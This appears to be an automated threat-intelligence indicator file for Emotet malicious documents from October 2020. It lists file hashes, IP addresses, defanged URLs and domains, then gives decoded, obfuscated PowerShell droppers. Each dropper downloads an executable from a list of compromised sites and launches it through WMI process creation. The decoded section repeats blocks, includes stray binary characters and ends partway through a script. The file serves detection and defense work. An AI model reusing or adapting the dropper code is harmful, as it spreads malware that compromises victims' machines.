Emotet_Doc_out_2020-10-30_22_01.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
a914d86d2a97040bb1c91827828f9ec8e72e18d73ca90d884b5d385e4c9793f5
ffc63081ade619c07061526c15e53d5dd012da2e842f479fefc0c27f46ce2beb
41c1aacf38f4e4b127131377357db324852107ff972122bb57ec3ba8f894a7bd
96636e8803958a85be6974b0fc6c91e24526ae529a00c31dcfdbf3ed761c5304
df1390a8493f224502992c62d7e529f871c9e850b53e3479d9de2d1994f8f91e
d7c0fc3658da4a6040cab7aff29764849e26c699642492446759314c94586b6d
289f8b4babc8f697bcbc3125ded9cfddefa96b986243538034beda8361d69a26
b48b7231ac7d5bc0a2ba5883e7a634a557c606b06b97bf45b2842523959c4a37
682b88668279b5fb8415dfbe6b8a135dca290767dd5bed3fc6b45d230d3c3925
dfd539a7d82b252f02924f5f2da0724ffe381df1456f08415266b0040d0a914b
ad6530753d959ec1d3305730db8985d3f0fdf9e9ce893c2f8bd8873ab51f8fdc
a1012fc1a9d9f96b0ad08ae210577856e76f93f4c8e58a3cab8e9f293e804b8b
a1012fc1a9d9f96b0ad08ae210577856e76f93f4c8e58a3cab8e9f293e804b8b
d69a531ed52f125daebc8d45d96e31504a804539dc64714a12474354e4807f87
6061326ca1f6965d9ff04a37eb1defb55b410556500c197c6d8c9207a4432fab
6061326ca1f6965d9ff04a37eb1defb55b410556500c197c6d8c9207a4432fab
bb6965f5fdad54288c857319fe4ff50575e4a48364ca671cfe950427aa235c9c
bb6965f5fdad54288c857319fe4ff50575e4a48364ca671cfe950427aa235c9c
20a348277c58a86bab1a218fd2dc97ea61811eeca81bbab000bf5f0afa562b36
20a348277c58a86bab1a218fd2dc97ea61811eeca81bbab000bf5f0afa562b36
7b898bbed219d69c12993f8706acb04d7b32cd894d0cc2fdc62900e99092b931
baedfb0e324fdac42c4f7b0d47f79d6473f669fa3282365dee1e4a86fc6f395a
fd63dec89395fb5024155fdfa24256fc31add9f974f2870e11fef458790d425f
c0b41e22e711cd0385c069a4c10ae102ca7dcc277460d218eecc4974cca8677d
c0b41e22e711cd0385c069a4c10ae102ca7dcc277460d218eecc4974cca8677d
3c27be9dc2e9b5c22f24958c7622a68278b2d1b21ce336dc334afd83e0bc67bb
9115c982b588ac1fb619aa850eaec960a25ef28b15b075b7d5a1adf897ac887d
9115c982b588ac1fb619aa850eaec960a25ef28b15b075b7d5a1adf897ac887d
9046f64bc471cad2239e38c87f2b8545aa99b10d0cee07839ef0769b1aa91f2c
17d5bfb8d831eb1b5f2defabb4f6b29c2c2f65bc90c0b310d7e0867ac11c125f
327e30c02dc57bd8f9793000a44e75fb252b493b8d289d2d96d9e6e167f1626a
390be22b6546961bdf840560ab4b25598b3b46211ef3c9e4caffbcbce597fa4e
d6f5c2f6c473a5df7285cae32d8806ee2c6ee513400416463c34c7f6b3dcc703
d6f5c2f6c473a5df7285cae32d8806ee2c6ee513400416463c34c7f6b3dcc703
9121a79689d2a88dad9bce32476217b48aa14ced73ea3ea2394760e2da314d15
9121a79689d2a88dad9bce32476217b48aa14ced73ea3ea2394760e2da314d15
ff6228116fcbf0e614fe3ef2b7cdc6b094fb38c8a4a90e24603b27ad566eef09
2c35c7c2a35e6c0d057d6a29697d6caeab76363a0040219edbed385309cb15f6
2c35c7c2a35e6c0d057d6a29697d6caeab76363a0040219edbed385309cb15f6
fa6e61167c1f9d075cc59416ebc38c84b20884cedadc16a6f4314f78d9f52b34
fa6e61167c1f9d075cc59416ebc38c84b20884cedadc16a6f4314f78d9f52b34
a2570aa79603bbd35dfcd783d2d6da489b713a3a5ddcabd93e0fed2713aef983
d2c9acbb564bbc88014f9c54c852e76b9ac8b15243783b5c5c82a8f934ad1e72
d2c9acbb564bbc88014f9c54c852e76b9ac8b15243783b5c5c82a8f934ad1e72
aeaab4adf9be4b34da52d007ca5c8aa108e0a85c13af916c875f972f9b5648c8
aeaab4adf9be4b34da52d007ca5c8aa108e0a85c13af916c875f972f9b5648c8
5f25e2c38ff14d728523ca6f82affd5d3f5d7859d72e47057ff0b218ef6f7121
4d83643d4185e914cd18600bc21014c76abe93f9cdc0373b88e65461ee279b80
21d510dc43e2e064f6d94e3b502c483eb6fc1171828a5349dd22c43ccba66638
181d922a9b99a299cb7d1c073d395952e2bfeb1392c7d1e9045608a33483b4db
a3c09116b3564a812d894ab750990565e22b18b97a47c138b3b271f1e7e5f666
641413aa33c1d30a2e0d003843e6b7bb7405a76c73be1142639fbc45e20462e1
be0b7b1655cf76359f685b7367592ccbacace133e9a4b1180b5dd7c364d6be29
0b8a8e7a53d7fe5cfe16dbec4b9d21361ce7f6eb2f21c9ece0c5fdea89d09b74
103f78ab98c191fc64eaea70e235c4f611598d1a958ae148bc49166ed47978b0
9d80eba721e00d99a8eacbf677fbb7e22e3f1bf929d52a3652c1a8b117550e6b
5e9f5f706103a5ae53f44d35842e1a0bd916ec277238a9514754e50ceb1c7b8c
b4985d6434f07c45d88e97a187497b777d914ba805449d37d97a328472a9b6ec
b9fce7bf781b5fdc177dde9569e249b790be707e253d46e2fec89d8389e0c324
9f194e041bd1a236bdcb29bd9f375ca9282d940af060cbe0995df227d347d496
023fdae311195c64889d2c87831a470d7c4826a755cd385729dc6bb02281c4e5
b6802ed0d67d436cb620790db9622265d1efe9facc3604a3866937838bd567e8
877bcaa3bd3bcb6081fbcc746a0bc8b28f01961c1061adaacae5ae875457fb70
11b78b0507ac7cd6f99f0774c2838059fae12fa3f9b8878e6d5e3075496c37cb
eb5d0c08628c3ec2c081dc472157b78cff5ee705d96de5cd061c582c575bb7e9
cc62d28a22d8d161becd83a7bfc64403356ba146617a0e619b429c4de91c7491
721a801f52c7641ad68e3e7975b2dc98e5908a41803928d13434b180d6add068
b80748e5abff124c2e769811b6d07ee49b612be307a825ec4d6cb37f18ca1c24
b86e09a5bdebde57bd67e1fa11ddbd3381e5972d091fdc61b68e34226fabf084
adfc78c63800a8c33b85e80e40f508c443d2930e3135b639bc79d39aa8f8f79a
8390454bd270ad7e5f35cf442b97d2f85ea82a94cf4219020ff0e7af271d66d6


IPs:
103.113.67.32
103.82.52.25
104.18.48.247
104.18.49.247
104.18.62.160
104.18.63.160
104.24.98.175
104.24.99.175
104.27.133.14
104.27.155.51
104.31.68.179
104.31.69.179
104.31.82.26
120.77.243.218
123.59.232.99
137.118.60.3
145.239.37.162
148.66.137.42
1.54.2.148
160.153.138.219
160.153.65.132
161.35.170.123
172.67.159.133
172.67.178.62
172.67.180.46
172.67.184.170
172.67.211.231
172.67.220.107
176.65.242.190
181.88.192.14
181.88.192.21
188.166.149.118
198.71.233.96
35.208.159.220
35.208.233.242
35.214.134.107
35.214.15.47
35.214.163.147
37.44.244.220
45.119.81.203
45.119.83.207
47.103.202.205
47.106.177.2
50.63.8.21
67.227.236.124
85.14.243.50
96.17.68.91



URLs:
hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/
hxxp://dotasarim.com/wp-admin/AYO/
hxxp://servitekifix.com/wp-admin/nBJ/
hxxp://dieteticienne-tiffany.com/wp-includes/p/
hxxps://moralaree.com/journal/R/
hxxps://mobis-autoloan.com/wp-content/76/
hxxp://footballstep.com/cgi-bin/A/
hxxps://www.naturalwaterresources.com/wp-content/XjR/
hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/
hxxp://da-industrial.com/js/9IdLP/
hxxp://daprofesional.com/data4/hWgWjTV/
hxxps://dagranitegiare.com/wp-admin/tV/
hxxp://www.outspokenvisions.com/wp-includes/aWoM/
hxxp://mobsouk.com/wp-includes/UY30R/
hxxp://biglaughs.org/smallpotatoes/Y/
hxxps://ngllogistics.africa/adminer/W3mkB/
hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/
hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/
hxxp://dotasarim.com/wp-admin/AYO/
hxxp://servitekifix.com/wp-admin/nBJ/
hxxp://dieteticienne-tiffany.com/wp-includes/p/
hxxps://moralaree.com/journal/R/
hxxps://mobis-autoloan.com/wp-content/76/
hxxp://footballstep.com/cgi-bin/A/
hxxps://www.naturalwaterresources.com/wp-content/XjR/
hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/
hxxp://da-industrial.com/js/9IdLP/
hxxp://daprofesional.com/data4/hWgWjTV/
hxxps://dagranitegiare.com/wp-admin/tV/
hxxp://www.outspokenvisions.com/wp-includes/aWoM/
hxxp://mobsouk.com/wp-includes/UY30R/
hxxp://biglaughs.org/smallpotatoes/Y/
hxxps://ngllogistics.africa/adminer/W3mkB/
hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/


Domains:
pipesplumbingltd.com
annabphotography.co.uk
childselect.com
movie-2free.com
sachcodoc.net
aramisconstruct.ro
manweikeji.com
farmapleland.com
dotasarim.com
servitekifix.com
dieteticienne-tiffany.com
moralaree.com
mobis-autoloan.com
footballstep.com
www.naturalwaterresources.com
inbichngoc.com
www.angiathinh.com
www.meshzs.com
dartzeel.com
zhidong.store
australaqua.com
nurmarkaz.org
da-industrial.com
daprofesional.com
dagranitegiare.com
www.outspokenvisions.com
mobsouk.com
biglaughs.org
ngllogistics.africa
kharazmischl.com
help-m2c.eccang.com
myfarasan.com
chengmikeji.com
enews.enkj.com
ecobaratocanaria.com
cimsjr.com
pipesplumbingltd.com
annabphotography.co.uk
childselect.com
movie-2free.com
sachcodoc.net
aramisconstruct.ro
manweikeji.com
farmapleland.com
dotasarim.com
servitekifix.com
dieteticienne-tiffany.com
moralaree.com
mobis-autoloan.com
footballstep.com
www.naturalwaterresources.com
inbichngoc.com
www.angiathinh.com
www.meshzs.com
dartzeel.com
zhidong.store
australaqua.com
nurmarkaz.org
da-industrial.com
daprofesional.com
dagranitegiare.com
www.outspokenvisions.com
mobsouk.com
biglaughs.org
ngllogistics.africa
kharazmischl.com
help-m2c.eccang.com
myfarasan.com
chengmikeji.com
enews.enkj.com
ecobaratocanaria.com
cimsjr.com


Decoded Base64 Powershell:
<���^,�]zset-iTEM  varIaBLe:Z5PO  [TYpE]"{1}{3}{0}{2}"-f Ect,sYStEm.i,OrY,o.Dir  ;
   SET-itEm  "vAr""iabL""E:Q47"    [TYPe]"{5}{2}{1}{3}{0}{4}"-F aNAGe,NET.s,.,ErVicEPOiNTM,R,SYsTem  ;
$Q9diwkq=N5h_dw2;
$Ivvdvdo=$U3sftbk  [char]64  $Sl39907;
$Tmrxafc=Mg2lt1w;
 $Z5pO::"c`REAte`dIRECt`oRY"$HOME  HExQ84je2zHExYghb915HEx."Repl`Ace"[chaR]72[chaR]69[chaR]120,[stRinG][chaR]92;
$Kzighzz=Rjtktsz;
    gi  "var""iAbl""E:q47" .vAlue::"SeCUrI`TY`PR`O`ToCoL" = Tls12;
$Ywi2eer=Sfymk0k;
$Pgpebmk = Soti11ocy;
$Z2x350s=J9r6iki;
$Mcamlz0=Oe0q5ih;
$Tsxtuyz=$HOME{0}Q84je2z{0}Yghb915{0}-f  [ChaR]92$Pgpebmk.exe;
$Cje1a9l=Vcvns6g;
$Hxqu33j=&new-object neT.WEbCliENt;
$Jxs3in6=hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/."reP`lACE"/,[array]/,xwe[0]."s`PliT"$Aeimclu  $Ivvdvdo  $Uch1acn;
$Sl30gsv=Tlsjdwb;
foreach $O9nyww_ in $Jxs3in6{try{$Hxqu33j."dowNL`OA`DF`iLe"$O9nyww_, $Tsxtuyz;
$Y1p1_7e=S6991w1;
If .Get-Item $Tsxtuyz."L`EngTh" -ge 45455 {[wmiclass]win32_Process."CrE`Ate"$Tsxtuyz;
$Lxhchct=Rv24lhh;
break;
$M3kxyg6=Ajmux5f}}catch{}}$Tuy05x2=Xglkn_o<���^,�]z  SeT SRyC   [type]"{3}{2}{1}{4}{0}" -f dirECTOrY,EM.i,St,sY,o.   ;
   set-itEM  VARiAblE:L14aI    [tYpe]"{4}{0}{5}{1}{2}{3}"-f m.nEt.S,INt,M,anAGeR,syStE,eRVIcePO  ;
  $Yyoaif7=V71eesy;
$A0ws7a8=$Tpdii3r  [char]64  $Um_njt3;
$Ixuhx8m=Cxxlla1;
  ItEM  "va""rI""A""blE:SrYC".VaLUE::"crE`AtE`DiR`eCt`ORY"$HOME  4EuV01rgaf4EuNh52o_w4Eu."r`EPLacE"[cHar]52[cHar]69[cHar]117,\;
$Op_08o2=E2i8gs5;
 VAriABle "l""14aI" -valUeo::"Se`cu`RItyPROt`oCoL" = Tls12;
$Cz3r9r3=Bpfvegm;
$Kya8h9i = Q_45u5e08;
$A7yqsv5=Fwijcdx;
$Xsigbap=Hhz_2kv;
$Deb1d2a=$HOME{0}V01rgaf{0}Nh52o_w{0} -F  [ChAr]92$Kya8h9i.exe;
$Puq8hw8=T401sn8;
$Aro6vh2=.new-object nET.WEBcLIent;
$Pt2ioo8=hxxp://dotasarim.com/wp-admin/AYO/
hxxp://servitekifix.com/wp-admin/nBJ/
hxxp://dieteticienne-tiffany.com/wp-includes/p/
hxxps://moralaree.com/journal/R/
hxxps://mobis-autoloan.com/wp-content/76/
hxxp://footballstep.com/cgi-bin/A/
hxxps://www.naturalwaterresources.com/wp-content/XjR/."RePl`A`cE"/,[array]/,xwe[0]."sp`lIT"$Ep8w11m  $A0ws7a8  $Lggl76v;
$Apytx28=Ozqjb1_;
foreach $Xgmb9qx in $Pt2ioo8{try{$Aro6vh2."DoW`Nlo`A`DFILe"$Xgmb9qx, $Deb1d2a;
$H_4mn0d=Fqqbpwy;
If &Get-Item $Deb1d2a."L`ENgth" -ge 47612 {[wmiclass]win32_Process."cR`Eate"$Deb1d2a;
$Azd1odq=Qbbjc02;
break;
$Ha8cjvc=Ulgl660}}catch{}}$Ocab8h7=J528bwe<���^,�]z $ohF=[tYpE]"{1}{0}{4}{2}{3}" -Fs,SY,eM.iO.DIreCTO,RY,t  ;
  SeT-VAriaBle 249Nj [TYPe]"{5}{3}{1}{4}{2}{0}" -f NaGEr,.SErV,iNtMA,et,icepo,sYsTEM.N  ;
 $Getj93h=Rv29vu1;
$Cu94v11=$Rb6bgq7  [char]64  $Tdkgw9f;
$E7uqhrz=Bziatry;
  $OHf::"CrEate`d`ir`E`cTorY"$HOME  MKxDjl8wkoMKxIa2zjinMKx."ReP`L`ACe"[ChAr]77[ChAr]75[ChAr]120,[sTRiNg][ChAr]92;
$Itainm8=Gwt5raa;
   VaRIAble 249Nj .VaLUE::"sEC`U`RITyPr`OTOcOl" = Tls12;
$L621aja=Ir_ri6o;
$Yoy_krn = Lu7c99t;
$Z1hv077=Rsvz102;
$N487npv=Fjo9f05;
$Zla5rtn=$HOMEhgZDjl8wkohgZIa2zjinhgZ."Re`PlAcE"[cHaR]104[cHaR]103[cHaR]90,[stRInG][cHaR]92$Yoy_krn.exe;
$I91kcpj=P942kzu;
$Xtyliwd=.new-object Net.webCLIENt;
$Tzlzc9h=hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/."R`e`PLaCE"/,[array]/,xwe[0]."s`PLIt"$U5tebxr  $Cu94v11  $D4nzr98;
$Rcn4iq_=Oqkpw6e;
foreach $Owv1ojo in $Tzlzc9h{try{$Xtyliwd."D`owNLO`ADFi`Le"$Owv1ojo, $Zla5rtn;
$R8flp1r=Lgfjbv_;
If .Get-Item $Zla5rtn."LEN`GtH" -ge 43078 {[wmiclass]win32_Process."c`REatE"$Zla5rtn;
$Ccim3km=Lvvmc0k;
break;
$Vav4vk0=Rnbl1b_}}catch{}}$Qnt48h9=Us_f7nn<���^,�]z SV  0zX [TyPe]"{2}{0}{4}{3}{1}"-f e,rECtorY,sYst,.IO.dI,M   ;
   set  TxySeo    [TYpe]"{0}{7}{5}{6}{4}{2}{1}{8}{3}"-FSYsTE,TM,IN,ER,pO,NeT.se,RVICE,M.,ANaG ;
  $Nbf5tg3=B9yp90s;
$Vxnlre0=$Cludkjx  [char]64  $R6r1tuy;
$Ky3q0e8=Rqdxwo5;
    Dir  vaRiAble:0Zx.valuE::"CreAT`E`dIREc`T`OrY"$HOME  nDpJrbevk4nDpCcwr_2hnDp -RePlAcE nDp,[cHaR]92;
$Pyozgeo=J5fy1cc;
   vaRiABLE TxYSEo  .ValuE::"SecUrI`TYp`R`OtOc`ol" = Tls12;
$Huajgb0=Jno5ga1;
$Bb28umo = Ale7g_8;
$Hsce_js=Kvnbov_;
$Spk51ue=C7xo9gl;
$Scusbkj=$HOME5tfJrbevk45tfCcwr_2h5tf -rEplACE  [ChAR]53[ChAR]116[ChAR]102,[ChAR]92$Bb28umo.exe;
$Q1_y05_=W4qvyz8;
$Odb3hf3=&new-object Net.WEBclIENt;
$Anbyt1y=hxxp://da-industrial.com/js/9IdLP/
hxxp://daprofesional.com/data4/hWgWjTV/
hxxps://dagranitegiare.com/wp-admin/tV/
hxxp://www.outspokenvisions.com/wp-includes/aWoM/
hxxp://mobsouk.com/wp-includes/UY30R/
hxxp://biglaughs.org/smallpotatoes/Y/
hxxps://ngllogistics.africa/adminer/W3mkB/."rep`LAcE"/,[array]/,xwe[0]."sP`lIT"$Ivg3zcu  $Vxnlre0  $Jzaewdy;
$Gcoyvlv=Kf_9et1;
foreach $A8i3ke1 in $Anbyt1y{try{$Odb3hf3."dO`WnLOA`dfILe"$A8i3ke1, $Scusbkj;
$Zhcnaux=Ekkj47t;
If &Get-Item $Scusbkj."LEn`GTh" -ge 45199 {[wmiclass]win32_Process."cR`eaTE"$Scusbkj;
$Glwki6a=Imtdxv6;
break;
$Pfpblh1=Vslalcu}}catch{}}$F47ief2=Bnzidrt<���^,�]z set-IteM VAriABLe:SNmkh  [TYPE]"{1}{3}{4}{0}{2}" -FeCT,SYSTEm.Io.,orY,d,IR;
  $Ekb9Lq=  [TyPE]"{2}{4}{0}{3}{7}{1}{6}{5}" -fserv,OiN,SYstem.,iC,Net.,gER,tmaNa,ep  ;
  $H761s3z=J0swxe8;
$Tz0jwcd=$O2s0ph5  [char]64  $E3k8u4e;
$Nn_1hnc=Tpi1w67;
  $SnMkH::"crE`ATEDI`R`eCTOrY"$HOME  673Wqewzer673Zdoz0xf673  -CrepLaCE  673,[cHaR]92;
$E4fhfgg=Bjt2s4e;
  $ekb9Lq::"SECURITYPRO`TOC`OL" = Tls12;
$Vocjfgn=Rqi__d0;
$Qxmnpt4 = Xp13y90;
$F8y06mv=Hy7i4w2;
$K0t19gd=Hh6dcm8;
$Q6bjkwn=$HOMEIEwWqewzerIEwZdoz0xfIEw-CrEplaCE IEw,[CHar]92$Qxmnpt4.exe;
$Lzbispm=Wkzlh2t;
$J8f2q2n=.new-object nET.WEBcLiEnt;
$Cnwamla=hxxp://kharazmischl.com/w/okz/
hxxp://help-m2c.eccang.com/pseovck27kr/n/
hxxp://myfarasan.com/sitepage/z/
hxxp://chengmikeji.com/dertouqua/Ocm/
hxxps://enews.enkj.com/wordpress/bd/
hxxp://ecobaratocanaria.com/wp-admin/ms/
hxxps://cimsjr.com/hospital/4q/."R`ePl`Ace"/,[array]/,xwe[0]."Sp`lit"$R1nzojq  $Tz0jwcd  $Vzzxss7;
$U04euts=Qh6ys33;
foreach $Ccoun3c in $Cnwamla{try{$J8f2q2n."DO`W`NloAd`FILE"$Ccoun3c, $Q6bjkwn;
$Rvpn_ht=Gbo52z6;
If &Get-Item $Q6bjkwn."L`ENGtH" -ge 37084 {[wmiclass]win32_Process."c`ReAtE"$Q6bjkwn;
$Sti0p1f=Icgo3sc;
break;
$D09dt0v=P6tezk0}}catch{}}$Nk3jtuk=Gfyem4r>�z�Zh���<���^,�]zset-iTEM  varIaBLe:Z5PO  [TYpE]"{1}{3}{0}{2}"-f Ect,sYStEm.i,OrY,o.Dir  ;
   SET-itEm  "vAr""iabL""E:Q47"    [TYPe]"{5}{2}{1}{3}{0}{4}"-F aNAGe,NET.s,.,ErVicEPOiNTM,R,SYsTem  ;
$Q9diwkq=N5h_dw2;
$Ivvdvdo=$U3sftbk  [char]64  $Sl39907;
$Tmrxafc=Mg2lt1w;
 $Z5pO::"c`REAte`dIRECt`oRY"$HOME  HExQ84je2zHExYghb915HEx."Repl`Ace"[chaR]72[chaR]69[chaR]120,[stRinG][chaR]92;
$Kzighzz=Rjtktsz;
    gi  "var""iAbl""E:q47" .vAlue::"SeCUrI`TY`PR`O`ToCoL" = Tls12;
$Ywi2eer=Sfymk0k;
$Pgpebmk = Soti11ocy;
$Z2x350s=J9r6iki;
$Mcamlz0=Oe0q5ih;
$Tsxtuyz=$HOME{0}Q84je2z{0}Yghb915{0}-f  [ChaR]92$Pgpebmk.exe;
$Cje1a9l=Vcvns6g;
$Hxqu33j=&new-object neT.WEbCliENt;
$Jxs3in6=hxxps://pipesplumbingltd.com/DB/Yg2rsTn/
hxxp://annabphotography.co.uk/wp-includes/WdHO/
hxxp://childselect.com/cgi-bin/BSA/
hxxp://movie-2free.com/cgi-bin/F/
hxxps://sachcodoc.net/wp-admin/pOyZDC/
hxxp://aramisconstruct.ro/wp-admin/Hpbd6/
hxxps://manweikeji.com/wp-content/X/
hxxp://farmapleland.com/wp-content/F/."reP`lACE"/,[array]/,xwe[0]."s`PliT"$Aeimclu  $Ivvdvdo  $Uch1acn;
$Sl30gsv=Tlsjdwb;
foreach $O9nyww_ in $Jxs3in6{try{$Hxqu33j."dowNL`OA`DF`iLe"$O9nyww_, $Tsxtuyz;
$Y1p1_7e=S6991w1;
If .Get-Item $Tsxtuyz."L`EngTh" -ge 45455 {[wmiclass]win32_Process."CrE`Ate"$Tsxtuyz;
$Lxhchct=Rv24lhh;
break;
$M3kxyg6=Ajmux5f}}catch{}}$Tuy05x2=Xglkn_o>�z�Zh���<���^,�]z  SeT SRyC   [type]"{3}{2}{1}{4}{0}" -f dirECTOrY,EM.i,St,sY,o.   ;
   set-itEM  VARiAblE:L14aI    [tYpe]"{4}{0}{5}{1}{2}{3}"-f m.nEt.S,INt,M,anAGeR,syStE,eRVIcePO  ;
  $Yyoaif7=V71eesy;
$A0ws7a8=$Tpdii3r  [char]64  $Um_njt3;
$Ixuhx8m=Cxxlla1;
  ItEM  "va""rI""A""blE:SrYC".VaLUE::"crE`AtE`DiR`eCt`ORY"$HOME  4EuV01rgaf4EuNh52o_w4Eu."r`EPLacE"[cHar]52[cHar]69[cHar]117,\;
$Op_08o2=E2i8gs5;
 VAriABle "l""14aI" -valUeo::"Se`cu`RItyPROt`oCoL" = Tls12;
$Cz3r9r3=Bpfvegm;
$Kya8h9i = Q_45u5e08;
$A7yqsv5=Fwijcdx;
$Xsigbap=Hhz_2kv;
$Deb1d2a=$HOME{0}V01rgaf{0}Nh52o_w{0} -F  [ChAr]92$Kya8h9i.exe;
$Puq8hw8=T401sn8;
$Aro6vh2=.new-object nET.WEBcLIent;
$Pt2ioo8=hxxp://dotasarim.com/wp-admin/AYO/
hxxp://servitekifix.com/wp-admin/nBJ/
hxxp://dieteticienne-tiffany.com/wp-includes/p/
hxxps://moralaree.com/journal/R/
hxxps://mobis-autoloan.com/wp-content/76/
hxxp://footballstep.com/cgi-bin/A/
hxxps://www.naturalwaterresources.com/wp-content/XjR/."RePl`A`cE"/,[array]/,xwe[0]."sp`lIT"$Ep8w11m  $A0ws7a8  $Lggl76v;
$Apytx28=Ozqjb1_;
foreach $Xgmb9qx in $Pt2ioo8{try{$Aro6vh2."DoW`Nlo`A`DFILe"$Xgmb9qx, $Deb1d2a;
$H_4mn0d=Fqqbpwy;
If &Get-Item $Deb1d2a."L`ENgth" -ge 47612 {[wmiclass]win32_Process."cR`Eate"$Deb1d2a;
$Azd1odq=Qbbjc02;
break;
$Ha8cjvc=Ulgl660}}catch{}}$Ocab8h7=J528bwe>�z�Zh���<���^,�]z $ohF=[tYpE]"{1}{0}{4}{2}{3}" -Fs,SY,eM.iO.DIreCTO,RY,t  ;
  SeT-VAriaBle 249Nj [TYPe]"{5}{3}{1}{4}{2}{0}" -f NaGEr,.SErV,iNtMA,et,icepo,sYsTEM.N  ;
 $Getj93h=Rv29vu1;
$Cu94v11=$Rb6bgq7  [char]64  $Tdkgw9f;
$E7uqhrz=Bziatry;
  $OHf::"CrEate`d`ir`E`cTorY"$HOME  MKxDjl8wkoMKxIa2zjinMKx."ReP`L`ACe"[ChAr]77[ChAr]75[ChAr]120,[sTRiNg][ChAr]92;
$Itainm8=Gwt5raa;
   VaRIAble 249Nj .VaLUE::"sEC`U`RITyPr`OTOcOl" = Tls12;
$L621aja=Ir_ri6o;
$Yoy_krn = Lu7c99t;
$Z1hv077=Rsvz102;
$N487npv=Fjo9f05;
$Zla5rtn=$HOMEhgZDjl8wkohgZIa2zjinhgZ."Re`PlAcE"[cHaR]104[cHaR]103[cHaR]90,[stRInG][cHaR]92$Yoy_krn.exe;
$I91kcpj=P942kzu;
$Xtyliwd=.new-object Net.webCLIENt;
$Tzlzc9h=hxxp://inbichngoc.com/wp-admin/K/
hxxp://www.angiathinh.com/autotoxication/96F/
hxxp://www.meshzs.com/wp-includes/p6/
hxxps://dartzeel.com/wp-content/jHy/
hxxps://zhidong.store/wp-content/BDY/
hxxps://australaqua.com/wp-content/xIt/
hxxps://nurmarkaz.org/designl/u/."R`e`PLaCE"/,[array]/,xwe[0]."s`PLIt"$U5tebxr  $Cu94v11  $D4nzr98;
$Rcn4iq_=Oqkpw6e;
foreach $Owv1ojo in $Tzlzc9h{try{$Xtyliwd."D`owNLO`ADFi`Le"$Owv1ojo, $Zla5rtn;
$R8flp1r=Lgfjbv_;
If .Get-Item $Zla5rtn."LEN`GtH" -ge 43078 {[wmiclass]win32_Process."c`REatE"$Zla5rtn;
$Ccim3km=Lvvmc0k;
break;
$Vav4vk0=Rnbl1b_}}catch{}}$Qnt48h9=Us_f7nn>�z�Zh���<���^,�]z SV  0zX [TyPe]"{2}{0}{4}{3}{1}"-f e,rECtorY,sYst,.IO.dI,M   ;
   set  TxySeo    [TYpe]"{0}{7}{5}{6}{4}{2}{1}{8}{3}"-FSYsTE,TM,IN,ER,pO,NeT.se,RVICE,M.,ANaG ;
  $Nbf5tg3=B9yp90s;
$Vxnlre0=$Cludkjx  [char]64  $R6r1tuy;
$Ky3q0e8=Rqdxwo5;
    Dir  vaRiAble:0Zx.valuE::"CreAT`E`dIREc`T`OrY"$HOME  nDpJrbevk4nDpCcwr_2hnDp -RePlAcE nDp,[cHaR]92;
$Pyozgeo=J5fy1cc;
   vaRiABLE TxYSEo  .ValuE::"SecUrI`TYp`R`OtOc`ol" = Tls12;
$Huajgb0=Jno5ga1;
$Bb28umo = Ale7g_8;
$Hsce_js=Kvnbov_;
$Spk51ue=C7xo9gl;
$Scusbkj=$HOME5tfJrbevk45tfCcwr_2h5tf -rEplACE  [ChAR]53[ChAR]116[ChAR]102,[ChAR]92$Bb28umo.exe;
$Q1_y05_=W4qvyz8;
$Odb3hf3=&new-object Net.WEBclIENt;
$Anbyt1y=hxxp://da-industrial.com/js/9IdLP/
hxxp://daprofesional.com/data4/hWgWjTV/
hxxps://dagranitegiare.com/wp-admin/tV/
hxxp://www.outspokenvisions.com/wp-includes/aWoM/
hxxp://mobsouk.com/wp-includes/UY30R/
hxxp://biglaughs.org/smallpotatoes/Y/
hxxps://ngllogistics.africa/adminer/W3mkB/."rep`LAcE"/,[array]/,xwe[0]."sP`lIT"$Ivg3zcu  $Vxnlre0  $Jzaewdy;
$Gcoyvlv=Kf_9et1;
